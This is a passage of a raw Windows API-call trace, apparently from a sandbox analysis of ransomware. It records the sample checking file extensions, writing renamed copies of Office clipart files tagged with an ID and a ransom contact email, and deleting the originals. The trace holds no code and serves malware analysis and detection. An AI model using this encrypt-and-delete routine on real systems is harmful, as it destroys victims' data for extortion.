[0058.651] lstrlenW (lpString=".zip") returned 4 [0058.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.651] lstrlenW (lpString=".rar") returned 4 [0058.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.651] lstrlenW (lpString=".bz2") returned 4 [0058.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.651] lstrlenW (lpString=".7z") returned 3 [0058.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0058.651] lstrlenW (lpString=".dbf") returned 4 [0058.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0058.651] lstrlenW (lpString=".1cd") returned 4 [0058.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0058.651] lstrlenW (lpString=".jpg") returned 4 [0058.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.652] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.652] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0058.652] GetLastError () returned 0x0 [0058.652] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xeb8, lpOverlapped=0x0) returned 1 [0058.985] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec0, lpOverlapped=0x0) returned 1 [0059.013] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.016] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.018] SetEndOfFile (hFile=0x1d8) returned 1 [0059.505] CloseHandle (hObject=0x1d8) returned 1 [0059.512] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.512] SetEndOfFile (hFile=0x21c) returned 1 [0059.520] CloseHandle (hObject=0x21c) returned 1 [0059.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0059.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.545] lstrlenW (lpString=".doc") returned 4 [0059.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.545] lstrlenW (lpString=".docx") returned 5 [0059.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.545] lstrlenW (lpString=".pdf") returned 4 [0059.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.545] lstrlenW (lpString=".xls") returned 4 [0059.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.545] lstrlenW (lpString=".xlsx") returned 5 [0059.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.545] lstrlenW (lpString=".ppt") returned 4 [0059.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.545] lstrlenW (lpString=".zip") returned 4 [0059.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.545] lstrlenW (lpString=".rar") returned 4 [0059.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.545] lstrlenW (lpString=".bz2") returned 4 [0059.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.546] lstrlenW (lpString=".7z") returned 3 [0059.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.546] lstrlenW (lpString=".dbf") returned 4 [0059.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.546] lstrlenW (lpString=".1cd") returned 4 [0059.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0059.546] lstrlenW (lpString=".jpg") returned 4 [0059.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.784] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2052) returned 1 [0059.788] CloseHandle (hObject=0x22c) returned 1 [0059.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0059.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0059.802] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.802] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0059.803] GetLastError () returned 0x0 [0059.803] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x804, lpOverlapped=0x0) returned 1 [0059.804] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x810, lpOverlapped=0x0) returned 1 [0059.805] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.805] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.806] SetEndOfFile (hFile=0x16c) returned 1 [0059.806] CloseHandle (hObject=0x16c) returned 1 [0059.806] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.806] SetEndOfFile (hFile=0x22c) returned 1 [0059.807] CloseHandle (hObject=0x22c) returned 1 [0059.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0059.807] lstrlenW (lpString=".doc") returned 4 [0059.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".docx") returned 5 [0059.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.807] lstrlenW (lpString=".pdf") returned 4 [0059.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString=".xls") returned 4 [0059.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.807] lstrlenW (lpString=".xlsx") returned 5 [0059.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.807] lstrlenW (lpString=".ppt") returned 4 [0059.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0059.807] lstrlenW (lpString=".zip") returned 4 [0059.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.808] lstrlenW (lpString=".rar") returned 4 [0059.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString=".bz2") returned 4 [0059.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString=".7z") returned 3 [0059.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0059.808] lstrlenW (lpString=".dbf") returned 4 [0059.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0059.808] lstrlenW (lpString=".1cd") returned 4 [0059.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0059.808] lstrlenW (lpString=".jpg") returned 4 [0059.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.808] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1874) returned 1 [0059.808] CloseHandle (hObject=0x22c) returned 1 [0059.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0059.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0059.809] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.809] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0059.809] GetLastError () returned 0x0 [0059.809] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x752, lpOverlapped=0x0) returned 1 [0059.810] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x760, lpOverlapped=0x0) returned 1 [0059.812] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.812] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.812] SetEndOfFile (hFile=0x16c) returned 1 [0059.812] CloseHandle (hObject=0x16c) returned 1 [0059.812] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.812] SetEndOfFile (hFile=0x22c) returned 1 [0059.813] CloseHandle (hObject=0x22c) returned 1 [0059.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0059.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0059.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0059.813] lstrlenW (lpString=".doc") returned 4 [0059.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.813] lstrlenW (lpString=".docx") returned 5 [0059.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.813] lstrlenW (lpString=".pdf") returned 4 [0059.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.813] lstrlenW (lpString=".xls") returned 4 [0059.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.813] lstrlenW (lpString=".xlsx") returned 5 [0059.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.814] lstrlenW (lpString=".ppt") returned 4 [0059.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0059.814] lstrlenW (lpString=".zip") returned 4 [0059.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.814] lstrlenW (lpString=".rar") returned 4 [0059.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.814] lstrlenW (lpString=".bz2") returned 4 [0059.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.814] lstrlenW (lpString=".7z") returned 3 [0059.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0059.814] lstrlenW (lpString=".dbf") returned 4 [0059.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0059.814] lstrlenW (lpString=".1cd") returned 4 [0059.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0059.814] lstrlenW (lpString=".jpg") returned 4 [0059.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.814] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3948) returned 1 [0059.814] CloseHandle (hObject=0x22c) returned 1 [0059.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0059.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0059.815] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.815] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0059.815] GetLastError () returned 0x0 [0059.815] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xf6c, lpOverlapped=0x0) returned 1 [0059.817] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf70, lpOverlapped=0x0) returned 1 [0059.817] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.817] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.818] SetEndOfFile (hFile=0x16c) returned 1 [0059.818] CloseHandle (hObject=0x16c) returned 1 [0059.818] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.818] SetEndOfFile (hFile=0x22c) returned 1 [0059.819] CloseHandle (hObject=0x22c) returned 1 [0059.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0059.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0059.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0059.819] lstrlenW (lpString=".doc") returned 4 [0059.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.819] lstrlenW (lpString=".docx") returned 5 [0059.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.819] lstrlenW (lpString=".pdf") returned 4 [0059.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.819] lstrlenW (lpString=".xls") returned 4 [0059.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.819] lstrlenW (lpString=".xlsx") returned 5 [0059.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.820] lstrlenW (lpString=".ppt") returned 4 [0059.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0059.820] lstrlenW (lpString=".zip") returned 4 [0059.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.820] lstrlenW (lpString=".rar") returned 4 [0059.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.820] lstrlenW (lpString=".bz2") returned 4 [0059.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.820] lstrlenW (lpString=".7z") returned 3 [0059.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0059.820] lstrlenW (lpString=".dbf") returned 4 [0059.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0059.820] lstrlenW (lpString=".1cd") returned 4 [0059.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0059.820] lstrlenW (lpString=".jpg") returned 4 [0059.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.820] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=10538) returned 1 [0059.820] CloseHandle (hObject=0x22c) returned 1 [0059.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0059.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0059.821] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.821] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0059.821] GetLastError () returned 0x0 [0059.821] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x292a, lpOverlapped=0x0) returned 1 [0059.823] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2930, lpOverlapped=0x0) returned 1 [0059.824] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.824] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.824] 